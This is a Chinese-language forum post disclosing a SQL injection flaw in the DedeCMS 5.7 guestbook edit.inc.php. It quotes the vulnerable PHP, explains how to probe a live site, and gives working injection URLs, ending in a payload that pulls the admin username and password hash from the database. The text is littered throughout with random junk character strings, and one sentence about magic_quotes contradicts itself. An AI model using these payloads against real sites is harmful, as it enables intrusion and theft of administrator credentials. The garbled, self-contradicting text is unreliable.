影响版本为5.7
0 l0 d4 D4 |7 B9 k( u: P) i9 {4 e+ Z1 f1 b5 a
漏洞文件edit.inc.php具体代码:/ e1 \/ ], a* ]7 R l
5 C! h" A4 c7 v0 _& x
< ?php ; w$ r' s' M9 k* ^; Z
, G6 U% t. L+ z+ w- T. A3 Pif(!defined('DEDEINC')) exit('Request Error!'); , L4 E- |5 u2 N, o4 P& z
1 Y+ Y& b$ m' C
& ~4 C4 ?9 @6 G7 v- @) a, o5 B
3 Y0 y2 S( i- T' Q4 q1 d: Y2 Lif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
( A& @9 s: t" p; @% k
3 F" _4 Z) @! I% q$ \. ~else $GUEST_BOOK_POS = "guestbook.php";
) ]( g# G- B: A' n# }
3 U+ \6 Q2 C) |1 y4 @ 5 P. B' l1 y E% l( P! M# b4 @
( V) j; |& u8 \4 {+ H
$id = intval($id);
/ Y: A+ |. x4 V- x$ |& N4 I
# b: q3 z' O0 R; f: A6 s9 @2 dif(empty($job)) $job='view';
1 n" d, P* A1 {. o$ ]: f
3 R- X4 T4 e& X4 ], B
9 i3 J* u) M6 L) M/ t) J+ v
4 x9 ~4 Y# t; F- ]1 {- }if($job=='del' && $g_isadmin) 6 i, w+ G d, [) S% m
% ?+ J1 u" n8 |{
- f! B, D, s& ?0 U; q; K$ H$ b1 ]: h$ {! G0 h( o9 g
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); & z O* V3 c: p9 ?( ?- M; o3 z
) Z7 F2 w" x D, g3 `
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); 2 `+ I) t+ O# P2 [6 _
1 r" N6 j) m7 L& ?! M/ I8 e. ]
exit();
6 D- R& S! y% d4 F, h
7 s3 m3 q! U G}
! g+ s- q; \- x( b% J( i% T: x
+ x, A' |# ]% W9 \else if($job=='check' && $g_isadmin) D; \) R- u) k% V2 K: j9 S: U
" N9 Z4 T' _- p- F% f( n6 w{ 9 `- |# O% c3 o, F: I6 [' f
$ }% A* @0 q/ t6 S9 O
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
- w& c* a% I i2 E& d) l3 ?( w' A
* y1 T) j- v1 H3 Z8 Z1 aShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); ; s0 F' M5 e: O/ I# w: R+ N
# w2 G# l: Y$ U2 q! V& J2 S4 `% z
exit();
9 O- R! |# U( U( I0 x2 W1 P& z& {
}
( V4 q4 q# a3 G1 c% p' P5 L- v/ B- V' u' N0 v( v; N
else if($job=='editok')
9 [( z8 ?" ?1 r e3 o: E
6 S' ?1 s9 z8 _7 d$ A0 o/ N' z1 _{
* `9 \. _9 O4 G: M5 |% N) m0 j7 R- H8 }* y! W* k
$remsg = trim($remsg); / V' D7 ]/ j7 T+ V0 \
+ i6 o6 y4 m7 \$ |# lif($remsg!='')
( _1 k3 F- E+ _& [$ `( D4 e4 u; H5 C
/ n4 ?, ^1 ?" N r) G' T{ . X& S: c8 m2 I+ p% r, K& t
7 S# L6 i$ q. a' v: ]' T1 L
//管理员回复不过滤HTML By:Errorera blog:errs.cc
# U# u' E3 ]* c) c; s6 d, u
5 X3 L( c* a! Bif($g_isadmin) 8 U1 o5 {/ _! a/ A+ ^; }
9 R2 Z1 x! a: c& b. N: o c) V5 f) m# T{ 2 {/ |- r# l' T1 |: H% |+ f! X
* {" @# a0 o' B7 J2 q1 ~$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
; t ^- _) l( J0 O6 @. K: n
/ x4 e3 f/ d# k5 h% r: A6 x//$remsg <br /><font color=red>管理员回复:</font> } N5 w c6 d. k! m
" w; x& y1 h! Oelse
6 G& L, G2 T/ V. L9 m" T/ N. \* ~
: I! ^8 i. I) b1 x{
* d% D/ z1 f. n/ s0 \2 z0 b/ g' A! J" i+ e( n, o0 N( k
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
Q) @; n7 ~3 _
; w4 ? a8 D' e' }$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; 6 u# p' D+ b Z9 u- p6 }. R' H
% v6 V: y6 A8 V4 d& @% d4 [
$remsg = trimMsg(cn_substrR($remsg, 1024), 1); 6 u7 @. ^: s, a4 s4 c U
9 a! _" v9 Z9 j4 D$msg = $oldmsg.$remsg;
0 J3 m- p) _7 D" v) u2 @, R( l- p& W, v% h, }
}
, R d( ]: e1 C4 g! n: G+ _& ^% Y- l0 |: T( T
}
1 e/ K4 T& d+ w2 ], \
d1 Q3 R' H: Z//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
- D- s q9 F4 {( A4 ^% a" _' ~3 s1 v# |' i5 N9 S- h
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); % f8 P0 V/ L7 Y; o$ O, F$ F. |6 k
8 y) J5 {, x. z, l# O$ I
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
$ k9 K" I, J- x
( h4 v9 `4 g1 R* U0 D+ Pexit();
, N' {1 p- z G4 K! V$ P
6 y7 m; \: m% _+ \, A" l( n( h/ n8 G}
5 |* h$ w, `- y' Z8 J) l5 y5 X t7 y
+ b; s7 R1 G$ I" O) \//home:www.errs.cc
: e/ d( B2 A" j6 N) Q6 h( m8 P
) u! G4 l" W( V$ r) |9 kif($g_isadmin)
2 ~- ~- r# m3 o# J9 [+ ~% b0 O' [' @9 d+ y( ^) u2 O" ~
{ 8 e# _" t7 |6 W/ w
' U3 T9 ^0 U+ }9 r9 m5 Z. I$ A6 l$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); " f; ?. y A2 y' ]+ a6 M
7 \# D* W9 g# g, C& erequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
2 n7 H2 n& Z7 g
5 m: P% |$ p* o}
/ A) W: i" n( | g* \- p1 [9 i# e
else
6 p# p/ P1 |+ X6 e) P: u7 E' ^6 r/ B8 `1 l/ h4 |9 q. c* I+ l
{ / t; u \ h9 V. V! p- o( b
& `8 g. [; q: Z- S6 E. c$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); 0 e. ]5 n j+ L4 J
4 C( R$ {5 S) krequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); # n4 s, s. z \& E; |+ S
2 O7 W+ q3 g8 N
} 漏洞成功需要条件:+ r8 t Q$ s, k- T* X9 T
1. php magic_quotes_gpc=off$ q9 r, |2 O: ~. o' I+ Z- t' x$ i
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
: i A* J1 I% ?- Y+ ~6 @. G6 G( \+ I1 c! T# v
怎么判断是否存在漏洞:/ Z7 J( M- v- m) i
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
2 C% S( |9 Q0 }4 F4 a/ I然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
6 F& |. o0 q+ G) j访问:5 g/ E( K: T4 z% J
6 x2 C- w# l& Xwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
+ t7 W! v4 ?% v1 _2 O跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证% r/ g6 S- i* k! }) d
+ |5 {4 ~1 ^1 ]) ?% O
8 P7 z( ^+ z* C0 q6 ~# Z, W& l
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off6 U/ T3 U( M2 g( t4 T1 ^/ Y3 h( g2 h& ]& T
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
) L, L6 Y: B1 V那么再次访问# b1 w% S M6 y2 V% P
' n0 j: k4 v3 t8 P/ o
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
- Z& M3 F1 t9 V5 ?" C9 V' j5 a0 S' g: ?3 h
大概利用就是这样,大家有兴趣的多研究下!!) a: ^9 @1 C0 L
6 i) p5 \! @: v, s9 o: e6 W
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!# Y6 Y) ]! d% K5 Q+ q3 ?
! B/ y, ~, L9 X7 i* c; _: U1 Cview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |